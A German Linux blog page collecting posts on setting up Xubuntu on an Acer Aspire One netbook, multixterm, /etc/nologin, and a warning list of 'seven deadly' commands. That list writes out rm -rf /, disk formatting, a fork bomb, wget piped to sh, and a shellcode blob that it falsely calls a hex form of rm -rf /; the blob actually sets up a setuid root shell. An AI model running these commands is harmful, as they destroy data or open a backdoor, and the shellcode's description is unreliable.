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Schlagwort: Linux

Acer Aspire One mit Xubuntu 9.04

Das von Acer auf dem Aspire One 110 L vorinstallierte Linpus Linux (ein verstümmeltes Fedora 8 ) ist ja nicht weniger als eine echte Zumutung.
Gepflegt wird da schon lange nichts mehr und z.B. kleine Änderungen von AOL am ICQ-Protokoll führen dazu, dass man plötzlich keinen funktionierenden Messenger mehr auf seinem Netbook hat.

Ich habe deshalb kürzlich die Entscheidung getroffen, mein Netbook mit einem aktuellen System zu bestücken. Linux4one und Konsorten haben mir nicht wirklich zugesagt, also musste das originale Xubuntu her.

Der Weg zu einem funktionierenden System war mehr oder weniger steinig. Info’s gab es hier und da aber um ewiges Try and Error bin ich trotzdem nicht herum gekommen.

Die folgenden Hinweise und Tipps stammen also auch nicht alle aus meiner Feder, sondern stellen eher eine kleine aber funktionierende Sammlung dessen dar, was ich bei meinen Recherchen im Netz zum Thema Xubuntu 9.04 auf dem Acer Aspire One gesammelt habe.

Viel Spass damit. Fragen und Anregungen gerne in den Kommentaren :)

Hardware-Spezifikation
– 8.9″ WSVGA hochauflösendes TFT LCD, Auflösung: 1024 x 600, 262.000 Farben
– Intel® Atom™ Prozessor N270 1.60 GHz
– 512 MB SDRAM
– 8 GB SSD
– WLAN, LAN, Multi-in-1 Card Reader, 3x USB 2.0, 1 x Lautsprecher/Kopfhörer, Line-out, 1xLine-in/Mikrofon

Installation
Zur Hand sollte man entweder ein externes Laufwerk oder einen ausreichend groß dimensionierten USB-Stick haben. Mithilfe von z.B. Unetbootin erstellt man sich aus einem ISO von Xubuntu 9.04 einen bootfähigen USB-Stick. Beim Start des Aspire One einfach F12 drücken und dann den Stick als Startmedium auswählen.
Während der Installation habe ich mich für ein ext2-Dateisystem und eine kleine Swap-Partition entschieden. Grundsätzlich ist die Swap-Partition nicht nötig, meinem Eindruck nach macht es das System aber hin und wieder ein wenig flüssiger.

Angepasster Kernel
Um eine optimale Unterstützung für die Hardware des Aspire One zu haben, wurde von mir der Kernel 2.6.28sickboy-kuki_0.4_i386 von AspireOneKernel.com verwendet.
Das bereitgestellte .deb-Paket braucht wohl keine größeren Erklärungen zur Installation, hier reicht ein einfaches
sudo dpkg -i linux-image-2.6.28sickboy-kuki_0.4_i386.deb
Die restlichen Hinweise zum Sound, etc. haben bei mir keine Anwendung gefunden, da der Sound mit dem Sickboy-Kernel ohne weiteres auch nach dem Ruhezustand funktionierte.

Dateisystem
Je nach eingesetztem Dateisystem macht es Sinn, die Option noatime in die fstab einzutragen, um die Schreibzugriffe auf die SSD möglichst gering zu halten.
Weiterhin sollte man die Log-Dateien in ein temporäres Dateisystem im Arbeitsspeicher auslagern. Die Einträge dazu in der /etc/fstab sehen wie folgt aus:
tmpfs /var/log/apt tmpfs defaults 0 0
tmpfs /var/log tmpfs defaults 0 0
tmpfs /tmp tmpfs defaults 0 0
tmpfs /var/tmp tmpfs defaults 0 0

Kartenleser
Als größeres Problem haben sich bisher die beiden Kartenleser des Aspire One herausgestellt. Entweder funktionierten diese gar nicht oder bestanden für eine annähernd korrekte Funktion auf eine eingesteckte Karte beim Bootvorgang.
Mit dem oben genannten Sickboy-Kernel sind bei meinem Netbook beide Card-Reader Hotplug-fähig. Einziges Manko ist, dass keine SDHC-Karten erkannt werden.
Für eine korrekte Funktion ist folgendes in die /etc/rc.local einzutragen:
modprobe pciehp pciehp_force=1
Wichtig ist, dass diese Zeile vor „exit 0“ eingetragen wird!

Keyboard-Shortcuts
Schmerzlich vermisst habe ich die Möglichkeit, die Lautstärke des Sounds über Fn + der entsprechenden Taste zu steuern. Einstellen lassen sich die Keyboard-Shortcuts unter Einstellunge -> Tastatur -> Application Shortcuts
Festgelegt habe ich die Shortcuts für
– Lauter: amixer set Master playback 3dB+
– Leiser: amixer set Master playback 3dB-
-Stumm: amixer set Master playback 0%

WLAN
Das WLAN funktioniert mit Xubuntu 9.04 und dem Sickboy-Kernel einwandfrei. Einziges Manko ist, der Killswitch am AAO nicht mitspielt. Das hätte sich sicher durch Nutzung der MadWifi-Treiber beheben lassen. Mir persönlich war diese Funktion (die im übrigen auch über das Netzwerk-Manager-Applet genutzt werden kann) nicht wichtig genug, um weiter zu basteln.
Wer Wert auf eine blinkende LED bei WLAN-Datenverkehr legt, installiert sich das Paket linux-backports-modules-jaunty

Skype
Vom Start weg hat sich Skype geweigert, das eingebaute Mikrofon zu benutzen. Abhilfe schafft hier, in den Audioeinstellungen die Quelle auf HDA Intel (hw:Intel,0) zu stellen

Linux: Befehle gleichzeitig auf mehreren Servern

Wer mehrere Server mit gleicher Konfiguration betreibt, muss immer wieder mal sicherstellen, dass die Konfiguration auch identisch bleibt. Ein nettes Tool hierfür ist multixterm. Das Programm gibt es hier, eine interessante Anleitung hier (benötigt werden außerdem expect und tk).

Mit folgendem Befehl werden SSH-Verbindungen zu maschine1 und maschine2 aufgebaut:

multixterm -xc "ssh %n" maschine1 maschine2

Alles was nun im zentralen Fenster eingegeben wird,  schickt multixterm an beide Maschinen.

Linux: Alle Zugriffe sofort unterbinden

Wer kennt als Administrator nicht die Situation, dass man eine Maschine laufen lassen muss, ohne das sich Benutzer anmelden können!? Um das zu erreichen, gibt es mehrere Methoden. Die schnellste dürfte sein, als Root folgenden Befehl auszuführen:
touch /etc/nologin
Die aktive Session bleibt erhalten und außer dem Root kann sich niemand mehr am System anmelden. Zusätzlich besteht die Möglichkeit, in einer Datei nologin.txt Hinweise für die abgewiesenen Benutzer zu hinterlegen.

Sieben tödliche Linux-Kommandos


Bild: LEFOI (Browse Tux) / Creative Commons BY-NC-SA

1. Kommando:

rm -rf /

Rekursiv alle Dateien innerhalb des Wurzelverzeichnisses löschen.

2. Kommando:

char esp[] __attribute__ ((section(„.text“))) /* e.s.p
release */
= „xebx3ex5bx31xc0x50x54x5ax83xecx64x68“
„xffxffxffxffx68xdfxd0xdfxd9x68x8dx99“
„xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7“
„x56x04xf7x56x08xf7x56x0cx83xc4x74x56“
„x8dx73x08x56x53x54x59xb0x0bxcdx80x31“
„xc0x40xebxf9xe8xbdxffxffxffx2fx62x69“
„x6ex2fx73x68x00x2dx63x00“
„cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;“;

Dies ist die Hex-Version von [rm -rf /].

3. Kommando:

mkfs.ext3 /dev/sda

Formatiert mit einem neuen Dateisystem und zerstört dabei alle vorhandenen Daten.

4. Kommando:

:(){:|:&};:

Führt zu einer sehr großen Anzahl von Prozessen und friert das System ein. Damit geht häufig Datenverlust einher.

5. Kommando:

any_command > /dev/sda

Führt beim schreiben auf ein Gerät zum totalen Datenverlust.

6. Kommando:

wget http://some_untrusted_source -O- | sh

Lädt Daten aus einer nicht vertrauenswürdigen Quelle und führt diese aus.

7. Kommando:

mv /home/yourhomedirectory/* /dev/null

Verschiebt alle Daten aus dem Home-Verzeichnis nach /dev/null.

Frei übernommen aus The 7 Deadly Linux Commands

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